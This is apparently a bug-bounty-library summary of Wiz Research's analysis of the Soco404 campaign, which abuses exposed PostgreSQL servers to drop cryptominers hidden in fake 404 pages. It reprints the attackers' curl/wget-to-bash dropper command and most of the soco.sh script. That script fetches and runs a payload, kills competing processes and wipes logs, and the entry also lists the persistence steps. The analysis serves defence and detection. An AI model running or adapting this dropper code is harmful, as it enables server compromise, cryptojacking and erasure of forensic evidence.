# Soco404: Multiplatform Cryptomining Campaign Uses Fake Error Pages to Hide Payload

Soco404 exploits exposed PostgreSQL via COPY ... FROM PROGRAM to run in-memory droppers, deploying Linux/Windows cryptominers hidden in fake 404 HTML pages.

- Payout: Real-world hack
- Severity: high
- Program: PostgreSQL
- Analysis by: Wiz Research
- Disclosed: 2025-07-23
- Write-up quality: 6/10
- Original: https://www.wiz.io/blog/soco404-multiplatform-cryptomining-campaign-uses-fake-error-pages-to-hide-payload
- Library page: https://bugbountylibrary.com/r/blog%3Awiz-io-blog-soco404-multiplatform-cryptomining-campaign-uses-fake-error-pages-to-hide-payload
- Tags: area:cloud domain:cloud domain:infra impact:integrity impact:rce kind:incident platform:threat-intel sev:high tech:linux tech:windows technique:source-review vuln:misconfiguration vuln:rce

**Target:** Internet-exposed PostgreSQL instances and compromised Apache Tomcat servers
**Root cause:** Exposed PostgreSQL instances with weak/default credentials allow authenticated abuse of COPY ... FROM PROGRAM to execute shell commands as the database OS user.
**Steps:**
1. Scan for exposed PostgreSQL services and authenticate with weak/default credentials.
2. Run `COPY ... FROM PROGRAM` to execute `sh -c "(curl http://<compromised-service>:8080/soco.sh||wget -q -O- ...)|bash"` in memory.
3. soco.sh downloads app2 from the compromised Tomcat server into a writable dir (avoiding /tmp and /sys), executes it, sleeps 2s, deletes it.
4. soco.sh clears /etc/ld.so.preload, strips competing cron jobs, kills processes in separate mount namespaces, and truncates /var/log/wtmp, /var/log/secure, /var/log/cron.
5. app2 (UPX-packed, Garble-obfuscated Go) re-execs as `sd-pam`, fetches https://www.fastsoco.top/1, extracts base64 blob between `exe101` markers from fake 404 HTML.
6. Main payload runs as `[cpuhp/1]`/`[kworker/R-rcu_p]`, adds cron `*/1 * * * * /etc/postgresql/<random-binary-name>` and appends `echo My>/dev/null 2>&1 &<dir>/<binary> >/dev/null 2>&1 &` to /etc/profile, .bashrc, .profile.
7. Windows: certutil/PowerShell/curl fallback downloads ok.exe to C:\Users\Public\os.exe, copies to C:\ProgramData\<rand>\<rand>.exe, creates service via `sc.exe create`, stops eventlog, self-deletes, injects into conhost.exe and drops WinRing0.sys.
8. Mine via c3pool/moneroocean to wallet 8BmVXbfsnRsiyPfUxsfnyyA9LqXvUsF2DYBX3wUmCEtejnBMyTiXe3XDCvq4REjmviEc5J1gomsnv7e4wYy1c5Pz3VadeyZ.
**How found:** Wiz observed active scanning and PostgreSQL attack flows, then analyzed the soco.sh dropper and app2 loader, tracing C2 to Google Sites-hosted fake 404 pages with base64 payloads between exe101 markers.
**Exploitation:** Automated scanning of exposed PostgreSQL; on weak-credential login, COPY ... FROM PROGRAM runs an in-memory curl/wget dropper that fetches soco.sh from a compromised Tomcat server, which stages and executes the Go loader app2, then the main miner payload with persistence and anti-forensics.
**Escalation:** Root-level execution enables hugepage/MSR tuning (wrmsr Zen/Intel registers) to maximize mining hashrate; loader kills competing miners and clears logs to retain exclusive control.
**Insight:** Cryptominer droppers hide payloads as base64 blobs inside fake 404 HTML on Google Sites; grep HTML source for marker-delimited base64 rather than trusting the rendered error page, and check PostgreSQL logs for COPY ... FROM PROGRAM spawning curl/wget.

## Proof of concept (copied exactly from the original report)

**Linux in-memory dropper via PostgreSQL COPY FROM PROGRAM**

```
sh -c "(curl http://<compromised-service>:8080/soco.sh||wget -q -O- http://<compromised-service>:8080/soco.sh||cc http://<compromised-service>:8080/soco.sh||ww -q -O- http://<compromised-service>:8080/soco.sh)|bash"
```

**soco.sh dropper script with anti-forensics and persistence**

```
#!/bin/bash
cc=http://<compromised-server>:8080/app2
sys=$(date|md5sum|awk -v n="$(date +%s)" '{print substr($1,1,n%7+6)}')
get() {
 curl -k $1>$2 || cc -k $1>$2 || wget --no-check-certificate -q -O- $1>$2 || curl $1>$2 || curl $1>$2 || ww -q -O- $1>$2
 chmod +x $2
}

chattr -ia /etc/ld.so.preload
cat /dev/null > /etc/ld.so.preload

crontab -l | sed '/\.bashgo\|pastebin\|onion\|bprofr\|python\|curl\|wget\|\.sh/d' | crontab -
cat /proc/mounts | awk '{print $2}' | grep -P '/proc/\d+' | grep -Po '\d+' | xargs -I % kill -9 %

if [ `whoami` = "root" ];then
 yy
 tt
else
 echo "error root！"
fi

readDir() {
 local u=$(whoami)
 local dir=$(find /home /root /opt /usr /var /etc -type d -user "$u" -writable -perm -u=wx \
 -not -path '/sys/*' -not -path '/tmp/*' -print -quit 2>/dev/null)
 
 [[ -n "$dir" ]] && echo "$dir" || echo "/var/tmp"
}

dirs=$(readDir)
echo "file ok: $dirs"
cd -- "$dirs" || exit 1
PATH=".:$PATH"
get $cc $sys
$sys
sleep 2
rm -rf $sys

echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
function yy() {
```

